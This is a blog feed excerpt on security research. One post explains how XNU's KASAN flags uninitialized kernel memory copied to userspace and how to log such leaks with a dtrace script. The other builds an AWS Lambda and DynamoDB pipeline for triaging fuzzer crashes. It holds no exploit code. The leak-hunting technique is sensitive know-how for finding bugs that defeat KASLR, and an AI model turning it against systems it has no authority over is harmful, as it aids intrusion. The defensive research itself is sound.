		<span class="n">kasan_check_uninitialized</span><span class="p">((</span><span class="n">vm_address_t</span><span class="p">)</span><span class="n">kernel_addr</span><span class="p">,</span> <span class="n">nbytes</span><span class="p">);</span>
		<span class="k">break</span><span class="p">;</span>
	<span class="p">}</span>
<span class="cp">#endif
</span></code></pre></div></div>

<p>The check determines if the heap fill pattern is included within the data which is going to be copied to userspace. If the max_count of leaked bytes is &gt;= than the leak_threshold, the leak is reported:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
<span class="cm">/*
 * Check for possible uninitialized memory contained in [base, base+sz).
 */</span>
<span class="kt">void</span>
<span class="nf">kasan_check_uninitialized</span><span class="p">(</span><span class="n">vm_address_t</span> <span class="n">base</span><span class="p">,</span> <span class="n">vm_size_t</span> <span class="n">sz</span><span class="p">)</span>
<span class="p">{</span>
	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="p">(</span><span class="n">enabled_checks</span> <span class="o">&amp;</span> <span class="n">TYPE_LEAK</span><span class="p">)</span> <span class="o">||</span> <span class="n">sz</span> <span class="o">&lt;</span> <span class="n">leak_threshold</span><span class="p">)</span> <span class="p">{</span>
		<span class="k">return</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="n">vm_address_t</span> <span class="n">cur</span> <span class="o">=</span> <span class="n">base</span><span class="p">;</span>
	<span class="n">vm_address_t</span> <span class="n">end</span> <span class="o">=</span> <span class="n">base</span> <span class="o">+</span> <span class="n">sz</span><span class="p">;</span>
	<span class="n">vm_size_t</span> <span class="n">count</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
	<span class="n">vm_size_t</span> <span class="n">max_count</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
	<span class="n">vm_address_t</span> <span class="n">leak_offset</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
	<span class="kt">uint8_t</span> <span class="n">byte</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

	<span class="k">while</span> <span class="p">(</span><span class="n">cur</span> <span class="o">&lt;</span> <span class="n">end</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">byte</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="kt">uint8_t</span> <span class="o">*</span><span class="p">)</span><span class="n">cur</span><span class="p">;</span>
		<span class="n">count</span> <span class="o">=</span> <span class="p">(</span><span class="n">byte</span> <span class="o">==</span> <span class="n">KASAN_UNINITIALIZED_HEAP</span><span class="p">)</span> <span class="o">?</span> <span class="p">(</span><span class="n">count</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="o">:</span> <span class="mi">0</span><span class="p">;</span>
		<span class="k">if</span> <span class="p">(</span><span class="n">count</span> <span class="o">&gt;</span> <span class="n">max_count</span><span class="p">)</span> <span class="p">{</span>
			<span class="n">max_count</span> <span class="o">=</span> <span class="n">count</span><span class="p">;</span>
			<span class="n">leak_offset</span> <span class="o">=</span> <span class="n">cur</span> <span class="o">-</span> <span class="p">(</span><span class="n">count</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span> <span class="o">-</span> <span class="n">base</span><span class="p">;</span>
		<span class="p">}</span>
		<span class="n">cur</span> <span class="o">+=</span> <span class="mi">1</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="k">if</span> <span class="p">(</span><span class="n">max_count</span> <span class="o">&gt;=</span> <span class="n">leak_threshold</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">kasan_report_leak</span><span class="p">(</span><span class="n">base</span><span class="p">,</span> <span class="n">sz</span><span class="p">,</span> <span class="n">leak_offset</span><span class="p">,</span> <span class="n">max_count</span><span class="p">);</span>
	<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>So how do we enable this feature and get hold of the output?</p>

<p><code class="language-plaintext highlighter-rouge">KASAN_ARGS_CHECK_LEAKS 0x0800U</code> can be used to enable the feature:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>nvram boot-args<span class="o">=</span><span class="s2">"-v keepsyms=1 debug=0x2444 kasan=0x0800 kcsuffix=kasan"</span>
</code></pre></div></div>
<p>Then we need find out how to obtain the output:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">void</span>
<span class="nf">kasan_report_leak</span><span class="p">(</span><span class="n">vm_address_t</span> <span class="n">base</span><span class="p">,</span> <span class="n">vm_size_t</span> <span class="n">sz</span><span class="p">,</span> <span class="n">vm_offset_t</span> <span class="n">offset</span><span class="p">,</span> <span class="n">vm_size_t</span> <span class="n">leak_sz</span><span class="p">)</span>
<span class="p">{</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">leak_fatal_threshold</span> <span class="o">&gt;</span> <span class="n">leak_threshold</span> <span class="o">&amp;&amp;</span> <span class="n">leak_sz</span> <span class="o">&gt;=</span> <span class="n">leak_fatal_threshold</span><span class="p">){</span>
		<span class="n">kasan_violation</span><span class="p">(</span><span class="n">base</span> <span class="o">+</span> <span class="n">offset</span><span class="p">,</span> <span class="n">leak_sz</span><span class="p">,</span> <span class="n">TYPE_LEAK</span><span class="p">,</span> <span class="n">REASON_UNINITIALIZED</span><span class="p">);</span>
	<span class="p">}</span>

	<span class="kt">char</span> <span class="n">string_rep</span><span class="p">[</span><span class="n">BACKTRACE_MAXFRAMES</span> <span class="o">*</span> <span class="mi">20</span><span class="p">]</span> <span class="o">=</span> <span class="p">{};</span>
	<span class="n">vm_offset_t</span> <span class="n">stack_base</span> <span class="o">=</span> <span class="n">dtrace_get_kernel_stack</span><span class="p">(</span><span class="n">current_thread</span><span class="p">());</span>
	<span class="n">bool</span> <span class="n">is_stack</span> <span class="o">=</span> <span class="p">(</span><span class="n">base</span> <span class="o">&gt;=</span> <span class="n">stack_base</span> <span class="o">&amp;&amp;</span> <span class="n">base</span> <span class="o">&lt;</span> <span class="p">(</span><span class="n">stack_base</span> <span class="o">+</span> <span class="n">kernel_stack_size</span><span class="p">));</span>

	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">is_stack</span><span class="p">)</span> <span class="p">{</span>
		<span class="kt">uintptr_t</span> <span class="n">alloc_bt</span><span class="p">[</span><span class="n">BACKTRACE_MAXFRAMES</span><span class="p">]</span> <span class="o">=</span> <span class="p">{};</span>
		<span class="n">vm_size_t</span> <span class="n">num_frames</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
		<span class="kt">size_t</span> <span class="n">l</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
		<span class="n">num_frames</span> <span class="o">=</span> <span class="n">kasan_alloc_retrieve_bt</span><span class="p">(</span><span class="n">base</span><span class="p">,</span> <span class="n">alloc_bt</span><span class="p">);</span>
		<span class="k">for</span> <span class="p">(</span><span class="n">vm_size_t</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">num_frames</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
			<span class="n">l</span> <span class="o">+=</span> <span class="n">snprintf</span><span class="p">(</span><span class="n">string_rep</span> <span class="o">+</span> <span class="n">l</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">string_rep</span><span class="p">)</span> <span class="o">-</span> <span class="n">l</span><span class="p">,</span> <span class="s">" %lx"</span><span class="p">,</span> <span class="n">alloc_bt</span><span class="p">[</span><span class="n">i</span><span class="p">]);</span>
		<span class="p">}</span>
	<span class="p">}</span>

	<span class="n">DTRACE_KASAN5</span><span class="p">(</span><span class="n">leak_detected</span><span class="p">,</span>
				  <span class="n">vm_address_t</span><span class="p">,</span> <span class="n">base</span><span class="p">,</span>      
				  <span class="n">vm_size_t</span><span class="p">,</span> <span class="n">sz</span><span class="p">,</span>           
				  <span class="n">vm_offset_t</span><span class="p">,</span> <span class="n">offset</span><span class="p">,</span>     
				  <span class="n">vm_size_t</span><span class="p">,</span> <span class="n">leak_sz</span><span class="p">,</span>      
				  <span class="kt">char</span> <span class="o">*</span><span class="p">,</span> <span class="n">string_rep</span><span class="p">);</span>    
<span class="p">}</span>
</code></pre></div></div>

<p>Looking at this we can see there are two methods:</p>

<ul>
  <li>
    <p>Turning leaks into a fatal crash</p>
  </li>
  <li>
    <p>Using dtrace to log the leak</p>
  </li>
</ul>

<p>The downside of the first method is that it is way harder to debug and root cause the leak with post mortem debugging compared to a live running kernel. Therefore, I explored more of the <a href="http://dtrace.org/blogs/about/">dtrace</a> method. For those of you not familiar, dtrace is a dynamic tracing framework typically used for kernel and application troubleshooting. There has been a number of great security relevant presentations in the past about using dtrace to aid <a href="https://www.blackhat.com/presentations/bh-usa-08/Beauchamp_Weston/BH_US_08_Beauchamp-Weston_DTrace.pdf">reverse engineering</a> or <a href="https://securitylab.github.com/research/apple-xnu-dtrace-CVE-2017-13782">bugs within the dtrace subsystem</a> itself.</p>

<p>In order to obtain the output, we can make use of the dtrace probe registered by KASAN. You can see this by listing the dtrace probes or looking in the source:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ID   PROVIDER            MODULE                          FUNCTION NAME
.. 
1840      kasan       mach_kernel         kasan_check_uninitialized leak_detected
</code></pre></div></div>

<p>Then we can write a dtrace script as follows, which will be used to log the leak address, offset and size. I also use the <a href="https://docs.oracle.com/cd/E19253-01/819-5488/gcgge/index.html">tracemem</a> function to provide a nice hexdump of the memory:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">kasan</span><span class="o">::</span><span class="n">kasan_check_uninitialized</span><span class="o">:</span><span class="n">leak_detected</span>
<span class="p">{</span>
    <span class="n">printf</span> <span class="p">(</span><span class="s">"kasan leak at 0x%p of size %u, offset %u leak size %u repr: %s "</span><span class="p">,</span><span class="n">arg0</span><span class="p">,</span><span class="n">arg1</span><span class="p">,</span><span class="n">arg2</span><span class="p">,</span><span class="n">arg3</span><span class="p">,</span><span class="n">stringof</span><span class="p">(</span><span class="n">arg4</span><span class="p">));</span>
    <span class="n">tracemem</span><span class="p">(</span><span class="n">arg0</span><span class="p">,</span> <span class="mi">512</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>This can be run using <code class="language-plaintext highlighter-rouge">dtrace -s kasan.d</code></p>

<p>By default the leak threshold is set to =&gt; 3 bytes. This can also be controlled by both an nvram or systl setting (leak_threshold=whatever).</p>

<p>In the case of the address being on the kernel stack, a string representation is created of where it was initially allocated. However, throughout testing, it was determined that the stack trace was not symbolized, and therefore required jumping into a kernel debugger to determine the symbolic location.</p>

<p>Ideally we would like the stack of where the copyout is called from too. To do this we can simple add a <a href="https://docs.oracle.com/cd/E18752_01/html/819-5488/gcfbn.html#gcgfo">stack</a> call to our dtrace script:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">kasan</span><span class="o">::</span><span class="n">kasan_check_uninitialized</span><span class="o">:</span><span class="n">leak_detected</span>
<span class="p">{</span>
    <span class="n">printf</span> <span class="p">(</span><span class="s">"kasan leak at 0x%p of size %u, offset %u leak size %u repr: %s "</span><span class="p">,</span><span class="n">arg0</span><span class="p">,</span><span class="n">arg1</span><span class="p">,</span><span class="n">arg2</span><span class="p">,</span><span class="n">arg3</span><span class="p">,</span><span class="n">stringof</span><span class="p">(</span><span class="n">arg4</span><span class="p">));</span>
    <span class="n">tracemem</span><span class="p">(</span><span class="n">arg0</span><span class="p">,</span> <span class="mi">512</span><span class="p">);</span>
    <span class="n">stack</span><span class="p">()</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Since we are looking for uninitialized memory bugs which are easily reproducable, what we could also do would be to modify any output received by a fuzzer to detect the fill pattern (0xbe). For example, a common location would be <a href="https://developer.apple.com/documentation/iokit/1514240-ioconnectcallmethod?language=objc">IOConnectCallMethod</a> output and outputStruct values. An example of such a leak is <a href="https://github.com/jndok/tpwn-bis/blob/cb7760c587d7080545fc98d0a4d42b802f5de62e/poc-1/pwn.m#L25">CVE-2015-5864 - Heap Info Leak</a> where a kernel address was being leaked to userspace.</p>

<p>The downside with this approach is that you really need to cover all the possible wrappers which use <code class="language-plaintext highlighter-rouge">copyout</code>. Therefore using both the dtrace technique and some manual effort to locate the right areas to audit, we can discover when uninitialized data is being copied into userspace. Then we can drop to kernel debugging to confirm the issue.</p>]]></content><author><name>Alex Plaskett</name></author><category term="Apple" /><category term="XNU" /><summary type="html"><![CDATA[In my previous blog post I dug into a general overview of the KASAN implementation in XNU. This post goes more in depth in detecting kernel uninitialized information leaks using it (no 0days dropped here :)). Kernel Information Leaks to userland are a common problem and can be used to leak confidential information or disclose kernel memory addresses which are typically used to bypass KASLR. An example of this type of vulnerability is CVE-2017-13868.]]></summary></entry><entry><title type="html">Fuzzing - Serverless Crash Triage</title><link href="https://alexplaskett.github.io/serverless-crash-triage/" rel="alternate" type="text/html" title="Fuzzing - Serverless Crash Triage" /><published>2020-04-09T00:00:00+00:00</published><updated>2020-04-09T00:00:00+00:00</updated><id>https://alexplaskett.github.io/serverless-crash-triage</id><content type="html" xml:base="https://alexplaskett.github.io/serverless-crash-triage/"><![CDATA[<p>In order to learn about serverless architecture, I experimented with implementing a quick proof of concept crash triaging tool using AWS <a href="https://aws.amazon.com/lambda/">Lambda Functions</a>. There are many benefits of serverless architecture when you really don’t want to manage underlying infrastructure components and often cost saving advantages which can be made. These concepts lend themselves well to certain components of a continuous fuzzing architecture (such as Google’s <a href="https://google.github.io/clusterfuzz/">Clusterfuzz</a>).</p>

<p>When triaging a crash we often want to see at glance the type of crash it is in order to prioritise and determine if the crash is worth further manual investigation. For example, with something like <a href="https://github.com/alexplaskett/Publications/blob/master/mwri-t2-big-game-fuzzing-pwn2own-safari-final.pdf">browser fuzzing</a>, we often end up with a significant amount of crashes where a large majority are not interesting from a security perspective (i.e. not exploitable). We either want to identify interesting crashes or filter out non-interesting ones without having to manually triage each crash. This article focuses on how AWS constructs can be used to trigger triage events.</p>

<p>This article is just going to demonstrate brief extraction of crash metadata in response to a trigger. In general for crash triage we care about the following information:</p>
<ul>
  <li>Registers</li>
  <li>Stack Frame</li>
  <li>Faulting Instruction (if available)</li>
  <li>Type of crash (read/write etc)</li>
</ul>

<p>If we have this information at a glance, we can see if the crash would be good for further manual investigation and root cause analysis.</p>

<p><a href="https://aws.amazon.com/lambda/">Lambda functions</a> allow us to apply event driven processing to a crash at soon as it is available for processing and therefore are perfect for this task. Whilst we could have implemented this logic on the client side, this blog post we describes the creation of a Lambda function and hook it up with our crash data store to perform processing <a href="https://aws.amazon.com/dynamodb/">DynamoDB</a>.</p>

<h2 id="architecture-diagram">Architecture Diagram</h2>

<p>We will assume the following simple hypothetical fuzzing architectural design:</p>

<p><img src="https://alexplaskett.github.io/images/arch.svg" alt="Fuzzing High Level Architecture" /></p>

<p>In this architecture we will assume the following from each component:</p>

<ul>
  <li><strong>Fuzz Nodes</strong> - The fuzz nodes are our EC2 instances running a fuzzer, performing crash detection and adding the crash to DynamoDB.</li>
  <li><strong>Amazon DynamoDB</strong> - This database will store all crashes found by the fuzzer nodes.</li>
  <li><strong>Amazon CloudWatch Logs</strong> - This will be used for logging for both the Lambda Function and DynamoDB.</li>
  <li><strong>IAM Roles</strong> - An IAM role is an IAM entity which defines the set of permissions for the AWS service which the role is assigned to.</li>
</ul>

<p>We will assume once our crash harness detects a crash, then the crash is added to the database. This allows triggering of our post-processing triage lamda.</p>

<p>The general approach is as follows:</p>
<ol>
  <li>A fuzzer generates a crash record and enters it into the Crashes table in DynamoDB.</li>
  <li>A stream record is written to show that the crash has been entered into Crashes table.</li>
  <li>The stream record will fire an AWS Lambda Function.</li>
  <li>The Lambda Function will add additional metadata to the crash.</li>
</ol>

<p>With this high level architecture in mind, I will start to outline each of the component implementations in detail.</p>

<h2 id="dynamodb-table-creation">DynamoDB Table Creation</h2>

<p>One big design choice when building a scalable fuzzing solution is the choice of data storage. When building a cloud based fuzzing platform, the obvious choice is to use one of the cloud native stores (AWS - <a href="https://aws.amazon.com/dynamodb/">DynamoDB</a>, GCP - <a href="https://cloud.google.com/datastore/docs/concepts/overview">Google Datastore</a> or a cloud based file storage (<a href="https://aws.amazon.com/s3/">S3 bucket</a> , <a href="https://cloud.google.com/storage">Google Cloud Storage</a>) etc. The database method seems a better choice and allows queries to be performed across the entire crash corpus. It also allowed for AWS Lambda’s to be used to perform post processing of the crash information.</p>

<p>In order for a Lambda to be executed on a certain DynamoDB event, then it is necessary to enable streams on the table. Streams allow applications to benefit from the ability to capture changes to items stored within a DynamoDB table. A DynamoDB stream is an ordered flow of information changes to an items in a DynamoDB table.</p>

<p>For this blog post we will assume that new table within DynamoDB will be created from scratch. This can be performed either using the SDK CLI or the GUI interface.</p>

<p>We will create a DynamoDB table with the following information:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Table Name: Crashes 
Primary Key: UUID (String)
</code></pre></div></div>

<p>We use a UUID to represent a unique crash record within the database and therefore will also use this as the primary key.</p>

<p>This can be done via the AWS CLI as follows:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>aws dynamodb create-table <span class="se">\</span>
    <span class="nt">--table-name</span> Crashes <span class="se">\</span>
    <span class="nt">--attribute-definitions</span> <span class="se">\</span>
        <span class="nv">AttributeName</span><span class="o">=</span>UUID,AttributeType<span class="o">=</span>S <span class="se">\</span>
    <span class="nt">--key-schema</span> <span class="se">\</span>
        <span class="nv">AttributeName</span><span class="o">=</span>UUID,KeyType<span class="o">=</span>HASH <span class="se">\</span>
	<span class="nt">--provisioned-throughput</span> <span class="se">\</span>
        <span class="nv">ReadCapacityUnits</span><span class="o">=</span>10,WriteCapacityUnits<span class="o">=</span>5 <span class="se">\</span>
    <span class="nt">--stream-specification</span> <span class="nv">StreamEnabled</span><span class="o">=</span><span class="nb">true</span>,StreamViewType<span class="o">=</span>NEW_AND_OLD_IMAGES
</code></pre></div></div>

<p>This will create a table and enable streams for the table. For more information about the Dynamo DB streams then <a href="https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/Streams.html">this article</a> provides a good introduction.</p>

<p>One thing to note here is the usage of NEW_AND_OLD_IMAGES, this specifies:</p>
<ul>
  <li>NEW_AND_OLD_IMAGES - Both the new and the old item images of the item are written to the stream.</li>
</ul>

<p>It is also important that we take a note of this stream ARN (as this will be used in the IAM policies):</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>arn:aws:dynamodb:eu-west-2:***********:table/Crashes/stream/2020-02-25T16:22:27.122
</code></pre></div></div>

<p>We can list the streams using the following API:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>aws dynamodbstreams list-streams
</code></pre></div></div>

<p>Then describe a stream as follows for more information on it:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>aws dynamodbstreams describe-stream <span class="se">\</span>
    <span class="nt">--stream-arn</span> arn:aws:dynamodb:eu-west-2:<span class="k">******</span>:table/Crashes/stream/2020-04-07T12:57:19.229
</code></pre></div></div>

<h2 id="the-triage-lambda-itself">The Triage Lambda Itself</h2>

<p>Now the interesting part! We will write code to parse an <a href="https://clang.llvm.org/docs/AddressSanitizer.html">Address Sanitizer</a> log file and extract relevant parts, then hook up this code to be triggered on DB entry. I will use as an example parsing the log files from ASAN, however, any log file parsing could be used (asan/ksan/gdb/lldb/whatever). The ideal architecture would handle various types of log parsing dependant on the software under test at the time and output the data in a generic form.</p>

<p>To simulate a fuzzer entering a crash to the Crashes table the following code can be used. Normally the crash harness part of the fuzzer would be performing this process.</p>

<p>First we convert our log file into the right JSON format to put into the database using the following:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">json</span>
<span class="kn">import</span> <span class="nn">uuid</span>

<span class="n">fn</span> <span class="o">=</span> <span class="s">"test.log"</span>
<span class="n">contents</span> <span class="o">=</span> <span class="bp">None</span>

<span class="k">with</span> <span class="nb">open</span> <span class="p">(</span><span class="n">fn</span><span class="p">,</span> <span class="s">"r"</span><span class="p">)</span> <span class="k">as</span> <span class="n">myfile</span><span class="p">:</span>
    <span class="n">contents</span><span class="o">=</span><span class="n">myfile</span><span class="p">.</span><span class="n">read</span><span class="p">()</span>

<span class="n">uuid_str</span> <span class="o">=</span> <span class="nb">str</span><span class="p">(</span><span class="n">uuid</span><span class="p">.</span><span class="n">uuid4</span><span class="p">())</span>

<span class="n">json</span> <span class="o">=</span> <span class="s">"""{
	"UUID" : {"S" : "%s" },
	"asan_log" : {"S": %s }
}
"""</span> <span class="o">%</span> <span class="p">(</span><span class="n">uuid_str</span><span class="p">,</span><span class="n">json</span><span class="p">.</span><span class="n">dumps</span><span class="p">(</span><span class="n">contents</span><span class="p">))</span>

<span class="k">print</span><span class="p">(</span><span class="n">json</span><span class="p">)</span>
</code></pre></div></div>

<p>and run it as follows:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>python log_to_json.py <span class="o">&gt;</span> post.json
</code></pre></div></div>
<p>Once we have our JSON, we can then enter it into DynamoDB using the AWS CLI tools:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>aws dynamodb put-item <span class="se">\</span>
	<span class="nt">--table-name</span> Crashes <span class="se">\</span>
	<span class="nt">--item</span> file://post.json <span class="se">\</span>
	<span class="nt">--return-consumed-capacity</span> TOTAL
</code></pre></div></div>

<p>This will simulate a crash being created within the DB for this item and can be used for testing the upcoming Lambda function code.</p>

<h2 id="iam-role-and-policy">IAM Role and Policy</h2>

<p>An IAM role is an AWS Identity and Access Management (IAM) entity with permissions to make AWS service requests. IAM roles cannot make direct requests to AWS services; they are meant to be assumed by authorized entities, such as IAM users, applications, or AWS services such as EC2.</p>

<p>We now need to create a IAM policy and role for our lambda to execute under to allow it both read and write access to the database table.</p>

<p>We need to make a note of the role ARN so it an be used in the lambda deployment step.</p>

<p>We now need to create two policies, firstly a trust policy (trust-policy.json):</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"Version"</span><span class="p">:</span><span class="w"> </span><span class="s2">"2012-10-17"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"Statement"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
    </span><span class="p">{</span><span class="w">
      </span><span class="nl">"Effect"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Allow"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"Principal"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
        </span><span class="nl">"Service"</span><span class="p">:</span><span class="w"> </span><span class="s2">"lambda.amazonaws.com"</span><span class="w">
      </span><span class="p">},</span><span class="w">
      </span><span class="nl">"Action"</span><span class="p">:</span><span class="w"> </span><span class="s2">"sts:AssumeRole"</span><span class="w">
    </span><span class="p">}</span><span class="w">
  </span><span class="p">]</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>This json can then be used for creation as follows:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>aws iam create-role <span class="nt">--role-name</span> lambda-ex <span class="nt">--assume-role-policy-document</span> file://trust-policy.json
</code></pre></div></div>
<p>We also want to give the Lambda read/write access to DynamoDB. We also need to give it permissions to log to CloudWatch. We can do this by creating a permission policy (permission-policy.json) (and updating the ARN with the ARN of the table):</p>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
	</span><span class="nl">"Version"</span><span class="p">:</span><span class="w"> </span><span class="s2">"2012-10-17"</span><span class="p">,</span><span class="w">
	</span><span class="nl">"Statement"</span><span class="p">:</span><span class="w"> </span><span class="p">[{</span><span class="w">
			</span><span class="nl">"Effect"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Allow"</span><span class="p">,</span><span class="w">
			</span><span class="nl">"Action"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
				</span><span class="s2">"dynamodb:BatchGetItem"</span><span class="p">,</span><span class="w">
				</span><span class="s2">"dynamodb:GetItem"</span><span class="p">,</span><span class="w">
				</span><span class="s2">"dynamodb:Query"</span><span class="p">,</span><span class="w">
				</span><span class="s2">"dynamodb:Scan"</span><span class="p">,</span><span class="w">
				</span><span class="s2">"dynamodb:BatchWriteItem"</span><span class="p">,</span><span class="w">
				</span><span class="s2">"dynamodb:PutItem"</span><span class="p">,</span><span class="w">
				</span><span class="s2">"dynamodb:UpdateItem"</span><span class="w">
			</span><span class="p">],</span><span class="w">
			</span><span class="nl">"Resource"</span><span class="p">:</span><span class="w"> </span><span class="s2">"arn:aws:dynamodb:eu-west-1:123456789012:table/Crashes"</span><span class="w">
		</span><span class="p">},</span><span class="w">
		</span><span class="p">{</span><span class="w">
			</span><span class="nl">"Effect"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Allow"</span><span class="p">,</span><span class="w">
			</span><span class="nl">"Action"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
				</span><span class="s2">"logs:CreateLogStream"</span><span class="p">,</span><span class="w">
				</span><span class="s2">"logs:PutLogEvents"</span><span class="w">
			</span><span class="p">],</span><span class="w">
			</span><span class="nl">"Resource"</span><span class="p">:</span><span class="w"> </span><span class="s2">"arn:aws:logs:eu-west-1:123456789012:*"</span><span class="w">
		</span><span class="p">},</span><span class="w">
		</span><span class="p">{</span><span class="w">
			</span><span class="nl">"Effect"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Allow"</span><span class="p">,</span><span class="w">
			</span><span class="nl">"Action"</span><span class="p">:</span><span class="w"> </span><span class="s2">"logs:CreateLogGroup"</span><span class="p">,</span><span class="w">
			</span><span class="nl">"Resource"</span><span class="p">:</span><span class="w"> </span><span class="s2">"*"</span><span class="w">
		</span><span class="p">}</span><span class="w">
	</span><span class="p">]</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>The permissions can then be attached to the role as follows:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>aws iam put-role-policy <span class="nt">--role-name</span> lambda-ex <span class="nt">--policy-name</span> LambdaDynamoDBPolicy <span class="nt">--policy-document</span> file://permission-policy.json
</code></pre></div></div>

<p>At this point we have a lambda execution role with the correct polices attached.</p>

<p>We can now create a basic Lambda (lambda_handler.py) in go which will log the event data to CloudWatch.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">my_handler</span><span class="p">(</span><span class="n">event</span><span class="p">,</span> <span class="n">context</span><span class="p">):</span>
    <span class="k">print</span><span class="p">(</span><span class="n">event</span><span class="p">)</span>

    <span class="k">return</span> <span class="p">{</span> 
        <span class="s">'message'</span> <span class="p">:</span> <span class="n">event</span>
    <span class="p">}</span>
</code></pre></div></div>

<p>This is useful as it will print to the CloudWatch logs the format of the event from the DynamoDB stream when executed.</p>

<p>This can then be packaged and deployed as follows:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>zip <span class="k">function</span>.zip lambda_handler.py

<span class="nv">$ </span>aws lambda create-function <span class="nt">--function-name</span> TriageLambda <span class="nt">--runtime</span> python3.7 <span class="se">\</span>
  <span class="nt">--zip-file</span> fileb://function.zip <span class="nt">--handler</span> lambda_handler.my_handler <span class="se">\</span>
  <span class="nt">--role</span> arn:aws:iam::123456789012:role/lambda-ex 
</code></pre></div></div>

<h2 id="creating-a-lambda-trigger">Creating a Lambda Trigger</h2>

<p>We now need to hook up our Lambda with DynamoDB so that we get can process the stream data when available.</p>

<p>We need to add ‘AWSLambdaDynamoDBExecutionRole’ to the role to allow this:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>aws iam attach-role-policy <span class="nt">--policy-arn</span> arn:aws:iam::aws:policy/service-role/AWSLambdaDynamoDBExecutionRole <span class="nt">--role-name</span> lambda-ex
</code></pre></div></div>
<p>We also need to give the AWS lambda permissions to write to the cloudwatch logs too:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>aws iam attach-role-policy <span class="nt">--policy-arn</span> arn:aws:iam::aws:policy/service-role/AWSLambdaBasicExecutionRole <span class="nt">--role-name</span> lambda-ex
</code></pre></div></div>
<p>This can be performed as follows:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>aws dynamodb describe-table <span class="nt">--table-name</span> Crashes
</code></pre></div></div>
<p>In this output you should see the ‘LatestStreamArn’ value.</p>

<p>We can then create an event source mapping as follows (where streamARN is the ARN returned above):</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>aws lambda create-event-source-mapping <span class="se">\</span>
    <span class="nt">--function-name</span> TriageLambda <span class="se">\</span>
    <span class="nt">--event-source</span> streamARN  <span class="se">\</span>
    <span class="nt">--batch-size</span> 1 <span class="se">\</span>
    <span class="nt">--starting-position</span> TRIM_HORIZON
</code></pre></div></div>

<p>A stream mapping can be viewed (and deleted - if needed!) as follows:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>aws lambda list-event-source-mappings
<span class="nv">$ </span>aws lambda delete-event-source-mapping <span class="nt">--uuid</span> <span class="k">******</span> 
</code></pre></div></div>
